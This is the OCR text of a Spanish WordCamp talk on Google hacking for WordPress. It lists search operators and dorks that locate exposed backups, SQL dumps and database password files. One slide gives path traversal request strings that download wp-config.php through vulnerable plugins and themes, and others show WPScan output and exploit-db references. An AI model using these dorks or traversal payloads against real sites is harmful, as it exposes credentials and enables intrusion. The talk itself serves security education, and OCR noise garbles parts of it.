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Todo lo que aqui vas a ver es con fines educativos
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;Qué es Google Hacking?

@TomyCant

Hackear...

Google?

una pagina web?

las busquedas?
?
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;Qué es Google Hacking?

@TomyCant

Aprovechar la potencia del motor de busqueda de
Google como herramienta para conseguir

informacion publica, que no es visible a simple
vista.
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;Qué es Google Hacking?
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;. Qué entendemos por hackear?

Localizar objetivo

Recopilar informacion

|dentificar vulnerabilidades

Explotar vulnerabilidades y acceder

Ataque

Borrado de huellas

Mantener el acceso, para futuras ocasiones
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Operadores

@TomyCant

122,

Muestra resultados que contengan la frase exacta

GO g Ie "la casa blanca”




#WClrun

Operadores
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Antes de una palabra, nos permite realizar una
busqueda que NO incluya esa palabra.

GO g |e casa -blanca
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Antes de una palabra, nos permite realizar una

busqueda que incluya obligatoriamente esa
palabra.

Se pueden incluir palabras que Google no suele
contemplar: el, la, a...

GO g Ie +la casa +blanca
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AND

Permite realizar busquedas que contengan dos
terminos.

GO gle casa AND blanca
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OR (])

Busquedas que contengan un término u otro.

GO g Ie casa | blanca
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Comodines

*

Una palabra (la que sea)

Varias palabras (las que sean)
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Comandos
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site:url

Realizar la busqueda en una pagina especifica.

Site:tomassierra.com vulnerabilidades
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Comandos

@TomyCant
intitle:término
Muestra paginas en cuyo titulo este el termino o terminos

elegidos.

intitle:Vulnerabilidades
intitle:WordPress AND seguridad
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Comandos
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inurl:término

Muestra paginas en cuya url este el término elegido.

inurl:/wp-content/
inurl:/wp-content/plugins
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Comandos
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related:URL
Paginas de tematica semejante a la URL elegida.

related:tomassierra.com
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Comandos
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filetype:extension
Muestra todos los resultados de una busqueda con una

extension de archivo especifica. Tiene, como entendera,

mas sentido cuando lo unimos a una busqueda concreta.

filetype:pdf ciberseguridad
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Uno sencillito...
...pero peligroso

index of
Index of /wp-content/plugins/duplicator

site:tomassierra.com Index of
inurl:/wp-content/plugins/duplicator
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Google Dorks

@TomyCant

Ver documentos de una web

filetype:pdf site:tomassierra.com
filetype:docx site:tomassierra.com
filetype:txt site:tomassierra.com
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Mas preciso

Realizar la busqueda de un término dentro de un archivo

site:tomassierra.com filetype:pdf
intext:wordcamp
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Google Dorks
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Todos a la vez

site:tomassierra.com (filetype:pdf |
filetype:ppt | filetype:xls | filetype:doc |
filetype:docx | filetype:odt | filetype:txt
| filetype:sqgl)



& fbi.gov - FOCA 0.75.0

Google Dorks

|= Project () Search files

Project | Network data

1 Analize Metadata -7 Options L‘; About

gs fbi.gov
= i’ Project

i" Configuration

- Documents (2994)
=~ MetaData
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[ Folders

() Printers

"Ly Software

Search engines
[¥] Google
[¥] Live Search

v0.7.

Extensions

[¥] doc [¥] docx [V] sew [¥] odp
V] ppt (V] pptx
(V] pps (V] ppsx
V] ds [V] xsx  [¥] odg

V] odt [¥] pdf
[¥] ods [¥] wpd

site fbi.gov ffiletype:doc OR filetype:ppt OR filetype pps OR filetype xds OR filetype:docx OR file [

,, Search
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Type
doc
doc
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doc
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URL

http://www fbi.gov/ucr/05cius/data/documents/tab54d. ..
http://www fbi.gov/ucr/05cius/data/documents/tab78d...
http://www fbi.gov/ucr/05cius/data/documentstab250. ..
http://www fbi.gov/ucr/05cius/data/documents/tab22d...
http://www fbi.gov/ucr/05cius/data/documents/tab58d...

http://www fbi.gov/ucr/05cius/data/documents/tab60d... |

http://www fbi.gov/ucr/05cius/data/documents/tab21d...
http://www fbi.gov/ucr/05cius/data/documentstab37o...
http://www fbi.gov/ucr/05cius/data/documents/tab47d...

http://www fbi.gov/ucr/05cius/data/documents/tab44o... |
http://www fbi.gov/ucr/05cius/data/documents/tab42d... |

http://www fbi.gov/images/deletelater/page Zmages/fbi-...
http://www fbi.gov/ucr/05cius/data/documents/tab3ov...

http://www fbi.gov/ucr/05cius/data/documents/tab79d... |

http://www fbi.gov/ucr/05cius/data/documents/tab38&d...
http://www fbi.gov/ucr/05cius/data/documents/tab36o...
http://www fbi.gov/ucr/05cius/data/documents/tab53o...

http://www fbi.gov/ucr/05cius/data/documents/tab3%0... |
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Download

14/04/2009 9:52:36

Download Date

14/04/2009 9:52:35
14/04/2009 9:52:36
14/04/2009 9:52:35

Downloading 2912 documents
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Para buscar backups “perdidos”:

"inurl:"/wp-content/wpclone-temp/wpclone bac
]{U.p/ 1]

inurl:"/wp-content/uploads/backup"

"inurl:wp-content/plugins/wp-dbmanager/"
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Ver Bases de datos

intext:DB PASSWORD || 1intext:”MySQL
hostname” ext:txt

filetype:sgl intext:wp users phpmyadmin
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Mas Dorks para WordPress

@TomyCant

Para encontrar archivos sql o dumpeo de la bbdd

inurl:/wp-content/uploads/ filetype:sqgl
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Dorks para WordPress

@TomyCant

Para descargar el wp-config.php

Path traversal

/wp-admin/admin-ajax.php?action=revslider _show_image&img=../wp-config.php
/wp-content/force-download.php?file=../wp-config.php
Iwp-content/themes/SMWF/inc/download.php?file=../wp-config.php
/wp-content/themes/markant/download.php?file=../../wp-config.php
Iwp-content/themes/yakimabait/download.php?file=./wp-config.php
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Google Hacking Database

EXPLOIT &

nATABASE Home Exploits

Any Category

Date

2018-05-31

2018-05-29

2018-05-25

2018-05-21

2018-05-18

2018-05-17

G H D B @TomyCant

Shellcode Papers Google Hacking Database Submit Search

Google Hacking Database (GHDB)

Title

intext:2001.-.2018.umbraco.org ext:aspx

AndroidManifest ext:xml -github -gitlab -googlesource
allintitle: "Flexi Press System"

intitle:"Netgear™ - NETGEAR Configuration Manager Login"
inurl:jpegpull.htm

inurl:"user_login/" bitcoin | crypto | wallet

Category

Pages Containing Login Portals
Files Containing Juicy Info
Pages Containing Login Portals
Pages Containing Login Portals
Various Online Devices

Pages Containing Login Portals

https://www.exploit-db.com/google-hacking-database/
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¢ Y ahora que?
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¢, Como puede usar un ciberdelincuente (Haeker)
esta informacion?

; Qué puede hacer para hackearnos?



¢ Y ahora que?

1.- Utilizar WP Scan para buscar Versiones
vulnerables de plugins, temas o core de
WordPress sobre una web objetivo

varsiamn £.7
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_

[+] URL: http://192.168.0.13/wordpress/
|+] Started: Mon May 1l 04:00:23 2615

[!] The WordPress 'http://192.168.6.13/wordpress/readp

[!] FUll Path Disclosure (FPD) in: 'http://192.168

[+] Interesting header: SERVER: Apache/2.44 »
Interesting header: WP-SUPER-CACHE: 48
Interesting header: X-POWERED-BY: 4
XML-RPC Interface available undz®
This may allow the GHOST vulpss

http/wordpress_ghost_scanner &

['] Upload directory has dirgd

Nists exposing a version number
B neludes/ rss - functions.php !
B>, 1L PHP/S5.6.8

~e from PHP

P08 .0, 13/wordpress/xml rpc .php
M\ exploited, please see: https://www.rapid?.com/db/m

—=r1ng enabled: http://l9?tl§8.8.lB/wordpress/wp-content/upload

\dpress/wp-content/themes/twentyfiftean/readms.txt
Nordpress/wp-content/themes/twentyfifteen/style.css
Thema =
=25 . 0rg/themes/twenty fifteen/

. =7> default theme is clean, blog-focused, and designed for clarity. Twenty Fi
NP ress team

5://wordpress.org/

2 e
N\ —
N @®

3

©

Title: Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS)

Deoafowvamana bttmai /h i)l acdl, sowm 0 o wabhidded oo /19000
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¢ Y ahora que?

1.- Utilizar WP Scan para buscar Versiones
vulnerables de plugins, temas o core de
WordPress sobre una web objetivo

Title: Contact Form 7 <= 3.7.1 - Security Bypass Vulnerability
Reference: https://wpvulndb.com/vulnerabilities/7020

Reference: http://www.securityfocus.com/bid/66381/

Refegence: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CvE-2014-2265
Fixed in: 3.7.2

Title: Contact Form 7 <= 3.5.2 - File Ug1oad Remote Code Execution
Reference: https://wpvulndb. com/vu1nera ilities/7022

Reference: http://packetstormsecurity.com/files/124154/

Reference: http://osvdb.org/100189

Fixed in: 3.5.3

Title: Jetpack <= 2.9.2 - class.jetpack.php XML-RPC Access Control Bypass
Reference: https://wpvulndb.com/vulnerabilities/7203

Reference: http: //Jetpack me/2014/04/10/jetpack-security-update/
Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnid=CVE-2014-0173
Reference: https://secunia.com/advisories/57729

Reference: http://osvdb.org/105714

Fixed in: 2.9.3
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¢ Y ahora que?
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2.- Ver versiones vulnerables de plugins, temas y
core de WordPress

WPScan Vulnerability Database

Cataloging 11278 WordPress Core, Plugin and Theme vulnerabilities

https://wpvulndb.com/
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¢ Y ahora que?
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3.- Buscar exploits que exploten la vulnerabilidad

-

https://www.exploit-db.com/



¢ Y ahora que?
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Recordamos:

L oent et

. o i v
ot et

Explotar vulnerabilidades y acceder
Ataque
Borrado de huellas

Mantener el acceso, para futuras ocasiones
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Google WPDanger
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W Google Dorks for WordPress WPdanger

<[> Code Blog s ®» PHP Compatibility (& Google Dorks

% Google Dorks for WordPress

WordPress URL

http://www.example.com/

For security reasons we are not storing this URL.

Generate Google Dorks

https://google.wpdanger.com



#WClrun

WPDanger

@TomyCant

W WPdanger

W WordPress security analysis, for free @ User Levels

WordPress URL Free

e Core analysis
e Normal analysis
e Vulnerability analysis

Registered User

Analysis
Core analysis

® Normal analysis
Vulnerability analysis

Aggressive analysis

Analyze % WordPress

https://wpdanger.com
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Maxima seguridad para tu WordPress

ESKERRIK ASKO @ www.tomassierra.com
y @Tomycant
MUCHAS GRACIAS f facebook.com/tomycant

S _I__COIN

Security @ Hell Conference
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